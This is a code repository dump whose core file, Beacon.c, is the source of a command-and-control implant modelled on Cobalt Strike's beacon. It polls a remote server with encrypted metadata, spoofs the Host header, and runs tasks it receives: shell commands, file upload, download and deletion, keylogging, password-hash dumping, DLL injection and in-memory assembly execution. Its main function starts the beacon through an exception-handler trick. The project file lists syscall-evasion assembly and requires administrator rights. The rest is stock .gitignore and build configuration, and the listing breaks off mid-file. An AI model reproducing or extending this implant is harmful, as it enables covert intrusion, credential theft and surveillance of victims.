[
  {
    "path": ".gitattributes",
    "content": "###############################################################################\n# Set default behavior to automatically normalize line endings.\n###############################################################################\n* text=auto\n\n###############################################################################\n# Set default behavior for command prompt diff.\n#\n# This is need for earlier builds of msysgit that does not have it on by\n# default for csharp files.\n# Note: This is only used by command line\n###############################################################################\n#*.cs     diff=csharp\n\n###############################################################################\n# Set the merge driver for project and solution files\n#\n# Merging from the command prompt will add diff markers to the files if there\n# are conflicts (Merging from VS is not affected by the settings below, in VS\n# the diff markers are never inserted). Diff markers may cause the following \n# file extensions to fail to load in VS. An alternative would be to treat\n# these files as binary and thus will always conflict and require user\n# intervention with every merge. To do so, just uncomment the entries below\n###############################################################################\n#*.sln       merge=binary\n#*.csproj    merge=binary\n#*.vbproj    merge=binary\n#*.vcxproj   merge=binary\n#*.vcproj    merge=binary\n#*.dbproj    merge=binary\n#*.fsproj    merge=binary\n#*.lsproj    merge=binary\n#*.wixproj   merge=binary\n#*.modelproj merge=binary\n#*.sqlproj   merge=binary\n#*.wwaproj   merge=binary\n\n###############################################################################\n# behavior for image files\n#\n# image files are treated as binary by default.\n###############################################################################\n#*.jpg   binary\n#*.png   binary\n#*.gif   binary\n\n###############################################################################\n# diff behavior for common document formats\n# \n# Convert binary document formats to text before diffing them. This feature\n# is only available from the command line. Turn it on by uncommenting the \n# entries below.\n###############################################################################\n#*.doc   diff=astextplain\n#*.DOC   diff=astextplain\n#*.docx  diff=astextplain\n#*.DOCX  diff=astextplain\n#*.dot   diff=astextplain\n#*.DOT   diff=astextplain\n#*.pdf   diff=astextplain\n#*.PDF   diff=astextplain\n#*.rtf   diff=astextplain\n#*.RTF   diff=astextplain\n"
  },
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Mono auto generated files\nmono_crash.*\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Ww][Ii][Nn]32/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Oo]ut/\n[Ll]og/\n[Ll]ogs/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUnit\n*.VisualState.xml\nTestResult.xml\nnunit-*.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# ASP.NET Scaffolding\nScaffoldingReadMe.txt\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Coverlet is a free, cross platform Code Coverage Tool\ncoverage*.json\ncoverage*.xml\ncoverage*.info\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# NuGet Symbol Packages\n*.snupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n*.appxbundle\n*.appxupload\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- [Bb]ackup.rdl\n*- [Bb]ackup ([0-9]).rdl\n*- [Bb]ackup ([0-9][0-9]).rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n# Backup folder for Package Reference Convert tool in Visual Studio 2017\nMigrationBackup/\n\n# Ionide (cross platform F# VS Code tools) working folder\n.ionide/\n\n# Fody - auto-generated XML schema\nFodyWeavers.xsd"
  },
  {
    "path": "Beacon/Beacon.c",
    "content": "////\n#include <shobjidl.h>\n#include \"MetaData.h\"\n#include \"Util.h\"\n#include \"Http.h\"\n#pragma warning(disable:4996)\n#define KEY_LENGTH 32 \n#include <curl/curl.h>\n#include \"Config.h\"\n#include \"Command.h\"\n#include \"Job.h\"\n#include <tlhelp32.h>\n#include <tchar.h>\n\nextern int SleepTime;\nextern unsigned char AESRandaeskey[16];\nextern unsigned char Hmackey[16]; \nextern int clientID;\n\n\n\nstruct curl_slist* fist() {\n    struct curl_slist* headers = NULL;\n    EncryMetadataResult EncryMetainfos = EncryMetadata();\n    unsigned char*  EncryMetainfo = EncryMetainfos.EncryMetadata;\n    int EncryMetainfolen = EncryMetainfos.EncryMetadataLen;\n    char* baseEncode1 = base64Encode(EncryMetainfo, EncryMetainfolen);\n    //printf(\"base:%s\\n\", baseEncode1);\n    // headersĳ\n    size_t headers_length = strlen(metadata_header) + strlen(metadata_prepend);\n\n    // 㹻ڴռheadersmetadata_headermetadata_prependȥ\n    unsigned char* hea = (unsigned char*)malloc(headers_length + 1); // +1 Ϊ˴ַ'\\0'\n    memcpy(hea, metadata_header, strlen(metadata_header));\n    memcpy(hea + strlen(metadata_header), metadata_prepend, strlen(metadata_prepend));\n    hea[headers_length] = '\\0'; // ȷheadersĩβַ\n\n\n    //char header[] = \"Cookie: SESSIONID=\"; // ͷַ\n    char* concatenatedString = (char*)malloc(strlen(hea) + strlen(baseEncode1) + 1);\n    strcpy(concatenatedString, hea);\n    strcat(concatenatedString, baseEncode1);\n\n    headers = curl_slist_append(headers, concatenatedString);\n    headers = curl_slist_append(headers, \"Host:aliyun.com\");\n    // ִHTTP GET󣬲ͷ\n    perform_requestresult result = perform_get_request(Http_get_uri, headers);\n    printf(\"First Success-----------------------------------------------------------------------------------------------\\n\");\n    while (1) {\n        perform_requestresult result = perform_get_request(Http_get_uri, headers);\n       \n        size_t responsedatalen;\n\n\n        unsigned char* responsedata = parseGetResponse(result.resqresult, result.respsize, &responsedatalen);\n\n        printf(\"CONNECT HTTP Success\");\n        size_t jia = 0;\n        int jiaci =1;\n        if (responsedatalen > 4) {\n            printf(\"\\n\\nһ׶++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ %d\\n\\n\", result.respsize);\n            \n         \n            size_t dataLength = responsedatalen;\n            size_t middleDataLength = dataLength - 16; // ƫ\n\n            unsigned char* key = AESRandaeskey;\n          \n            size_t ivLength = strlen((char*)IV);\n            size_t decryptAES_CBCdatalen;\n            unsigned char* decryptAES_CBCdata = AesCBCDecrypt(responsedata, key, middleDataLength ,&decryptAES_CBCdatalen);\n\n            \n            \n           \n            \n            if (decryptAES_CBCdata != NULL) {\n               \n                unsigned char* lenBytesstart = decryptAES_CBCdata + 4;\n                uint8_t lenBytes[4];\n                memcpy(lenBytes, lenBytesstart, 4);\n               \n                uint32_t BiglenBytes = bigEndianUint32(lenBytes);\n                unsigned char* decryptedBuf = decryptAES_CBCdata + 8;\n\n              \n                \n                while (1) {\n                    if (BiglenBytes <= 0) {\n                        break;\n                    }\n                    int callbackType = 0;\n                    \n                    uint32_t commandType;\n                    unsigned char* commandBuf;\n                    size_t commandBuflen ;\n                    \n                    commandBuf = parsePacket(decryptedBuf, &BiglenBytes, &commandType, &commandBuflen, &jia ,&jiaci);\n                    \n                    unsigned char* buff = NULL;\n                    size_t Bufflen;\n                    switch (commandType)\n                    {\n                    case CMD_TYPE_SLEEP:\n                        SleepTimes(commandBuf);\n                        callbackType = 0;\n                    case CMD_TYPE_FILE_BROWSE:\n                        callbackType = 22;\n                        buff = CmdFileBrowse(commandBuf,&Bufflen);\n                        break;\n                    case CMD_TYPE_UPLOAD_START:\n                       buff = parseUpload(commandBuf, commandBuflen, &Bufflen,1);\n                       callbackType = -1;\n                       break;\n                    case CMD_TYPE_UPLOAD_LOOP:\n                        buff = parseUpload(commandBuf, commandBuflen, &Bufflen,2);\n                        callbackType = -1;\n                        break;\n                    case  CMD_TYPE_DRIVES:\n                        callbackType = 22;\n                        buff = CmdDrives(commandBuf, &Bufflen);\n                        break;\n                    case  CMD_TYPE_MKDIR:\n                        callbackType = 0;\n                        buff = cmdMkdir(commandBuf, commandBuflen, &Bufflen);\n                        break;\n                    case  CMD_TYPE_RM:\n                        callbackType = 0;\n                        buff = fileRemove(commandBuf, commandBuflen, &Bufflen);\n                        break;\n                    case   CMD_TYPE_DOWNLOAD:\n                        callbackType = 0;\n                        buff = Download(commandBuf, commandBuflen, &Bufflen);\n                        break;\n                    case CMD_TYPE_SHELL:\n                        callbackType = 0;\n                        buff = Cmdshell(commandBuf, commandBuflen, &Bufflen);\n                        break;\n                    case CMD_TYPE_Jobs:\n                        callbackType = -1;\n                        beacon_jobs();\n                        break;\n                    case CMD_TYPE_Jobskill:\n                        callbackType = -1;\n                        beacon_JobKill(commandBuf, &Bufflen);;\n                        break;\n                    case CMD_TYPE_BOF:\n                        callbackType = -1;\n                        BeaconBof(commandBuf, commandBuflen, &Bufflen);\n                        break;\n                    case CMD_TYPE_EXIT:\n                        _exit(1);\n                    case CMD_TYPE_EXECUTE_ASSEMBLY_X64:\n                        callbackType = -1;\n                        EXECUTE_ASSEMBLY(commandBuf, commandBuflen, 0,0);\n                        break;\n                    case CMD_TYPE_PIPE:\n                        callbackType = -1;\n                        PipeJob(commandBuf, commandBuflen, &Bufflen);\n                        break;\n                    case CMD_TYPE_PS:\n                        callbackType = -1;\n                        beacon_ps(commandBuf, commandBuflen);\n                        break;\n                    case CMD_TYPE_DumpHHH:\n                        callbackType = -1;\n                        DumpHASH();\n                        break;\n                    case CMD_TYPE_SPAWN_X64:\n                        callbackType = -1;\n                        BeaconSpawn(commandBuf, commandBuflen);\n                        break;\n                    case CMD_TYPE_INJECT_X86:// x86 ڲdllע ʵkeyLogger Printscreen PsInject Screenshot Screenwatch֮\n                        callbackType = -1;\n                        BeaconReflectiveDLLInject(commandBuf, commandBuflen);\n                        break;\n                    case CMD_TYPE_INJECT_X64:// x86 ڲdllע ʵkeyLogger Printscreen PsInject Screenshot Screenwatch֮\n                        callbackType = -1;\n                        BeaconReflectiveDLLInject(commandBuf, commandBuflen);\n                        break;\n                    case CMD_TYPE_KEYLOGGER:\n                        callbackType = -1;\n                        KEYLOGGEJob(0,commandBuf, commandBuflen,1);\n                        break;\n                    default:\n                        callbackType = 0;\n                        Bufflen = 31;\n                        unsigned char result[31] = \"[-] This type is No Accomplish\";\n                        unsigned char* resultmemmory = (unsigned char*)malloc(31);\n                        memcpy(resultmemmory, result,31);\n                        buff = resultmemmory;\n                        break;\n                    }\n                    \n                    printf(\"\\n\");\n                    \n                    if (callbackType >= 0) {\n                        DataProcess(buff, Bufflen, callbackType);\n                    }\n                   \n\n                }\n\n                free(decryptAES_CBCdata);\n            }\n        }\n        Sleep(SleepTime);\n        \n    }\n    return headers;\n    Sleep(SleepTime);\n    \n\n }\n \n LONG WINAPI VectoredExceptionHandler(PEXCEPTION_POINTERS ExceptionInfo)\n {\n     //printf(\"ExceptionCode: %X\\n\", ExceptionInfo->ExceptionRecord->ExceptionCode);\n\n     if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_INT_DIVIDE_BY_ZERO)\n     {\n         ExceptionInfo->ContextRecord->Rax = 1;\n         ExceptionInfo->ContextRecord->Rcx = 1;\n         DWORD currentProcessId = GetCurrentProcessId();\n         Duan(currentProcessId);\n         fist();\n\n         return EXCEPTION_CONTINUE_EXECUTION;\n     }\n\n     return EXCEPTION_EXECUTE_HANDLER;\n }\nint main() {\n    int number = 0;\n    AddVectoredExceptionHandler(TRUE, VectoredExceptionHandler);\n    __try\n    {\n        number /= 0;\n    }\n    // 쳣ȱ VEH յ޷Żᴫݸ SEH\n    __except (EXCEPTION_EXECUTE_HANDLER)\n    {\n        printf(\"Nonono\\n\");\n    }\n\n    return 0;\n}\n\n"
  },
  {
    "path": "Beacon/Beacon.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{191a6f50-ae83-44d1-8446-9afb9a077a97}</ProjectGuid>\n    <RootNamespace>Beacon</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n    <VcpkgTriplet Condition=\"'$(Platform)'=='Win32'\">x86-windows-static</VcpkgTriplet>\n    <VcpkgTriplet Condition=\"'$(Platform)'=='x64'\">x64-windows-static</VcpkgTriplet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v143</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n    <Import Project=\"$(VCTargetsPath)\\BuildCustomizations\\masm.props\" />\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <GenerateManifest>false</GenerateManifest>\n    <IncludePath>C:\\Users\\test\\Desktop\\vcpkg-2023.08.09\\vcpkg-2023.08.09\\packages\\curl_x64-windows\\include\\curl;C:\\Users\\test\\Desktop\\vcpkg-2023.08.09\\vcpkg-2023.08.09\\packages\\openssl_x64-windows\\include\\openssl;$(IncludePath)</IncludePath>\n    <LibraryPath>C:\\Users\\test\\Desktop\\vcpkg-2023.08.09\\vcpkg-2023.08.09\\packages\\curl_x64-windows\\lib;C:\\Users\\test\\Desktop\\vcpkg-2023.08.09\\vcpkg-2023.08.09\\packages\\openssl_x64-windows\\lib;$(LibraryPath)</LibraryPath>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <DisableSpecificWarnings>4996</DisableSpecificWarnings>\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\n      <MinimalRebuild>true</MinimalRebuild>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalDependencies>dbghelp.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>\n      <MinimalRebuild>true</MinimalRebuild>\n      <BasicRuntimeChecks>Default</BasicRuntimeChecks>\n      <Optimization>Disabled</Optimization>\n      <WholeProgramOptimization>false</WholeProgramOptimization>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n      <AdditionalDependencies>dbghelp.lib;zlib.lib;Crypt32.lib;%(AdditionalDependencies)</AdditionalDependencies>\n    </Link>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Beacon.c\">\n      <MinimalRebuild Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</MinimalRebuild>\n      <RuntimeLibrary Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">MultiThreadedDebug</RuntimeLibrary>\n    </ClCompile>\n    <ClCompile Include=\"Bof.c\" />\n    <ClCompile Include=\"CmdExecuteAssembly.c\" />\n    <ClCompile Include=\"Command.c\" />\n    <ClCompile Include=\"Config.c\" />\n    <ClCompile Include=\"DunpHash.c\" />\n    <ClCompile Include=\"File.c\" />\n    <ClCompile Include=\"GuangMing.c\" />\n    <ClCompile Include=\"Http.c\" />\n    <ClCompile Include=\"InjectProcess.c\" />\n    <ClCompile Include=\"Job.c\" />\n    <ClCompile Include=\"MetaData.c\" />\n    <ClCompile Include=\"Patch.c\" />\n    <ClCompile Include=\"Shell.c\" />\n    <ClCompile Include=\"util.c\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"Bof.h\" />\n    <ClInclude Include=\"Command.h\" />\n    <ClInclude Include=\"Config.h\" />\n    <ClInclude Include=\"GuangMing.h\" />\n    <ClInclude Include=\"Http.h\" />\n    <ClInclude Include=\"Job.h\" />\n    <ClInclude Include=\"MetaData.h\" />\n    <ClInclude Include=\"ntdef.h\" />\n    <ClInclude Include=\"Util.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <MASM Include=\"bcookesHalosGate.asm\">\n      <ExcludedFromBuild Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">false</ExcludedFromBuild>\n    </MASM>\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n    <Import Project=\"$(VCTargetsPath)\\BuildCustomizations\\masm.targets\" />\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "Beacon/Beacon.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"源文件\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"头文件\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"资源文件\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n    <Filter Include=\"源文件\\MetaData\">\n      <UniqueIdentifier>{c080beae-b605-4553-9fed-0d69133780cb}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"源文件\\Util\">\n      <UniqueIdentifier>{5b78ffdf-c6a7-4564-a111-4330e03fe7f6}</UniqueIdentifier>\n    </Filter>\n    <Filter Include=\"源文件\\Command\">\n      <UniqueIdentifier>{4b192a07-2beb-49bf-9f1b-01107daae80f}</UniqueIdentifier>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"Beacon.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"MetaData.c\">\n      <Filter>源文件\\MetaData</Filter>\n    </ClCompile>\n    <ClCompile Include=\"util.c\">\n      <Filter>源文件\\Util</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Config.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Http.c\">\n      <Filter>源文件</Filter>\n    </ClCompile>\n    <ClCompile Include=\"Command.c\">\n      <Filter>源文件\\Command</Filter>\n    </ClCompile>\n    <ClCompile 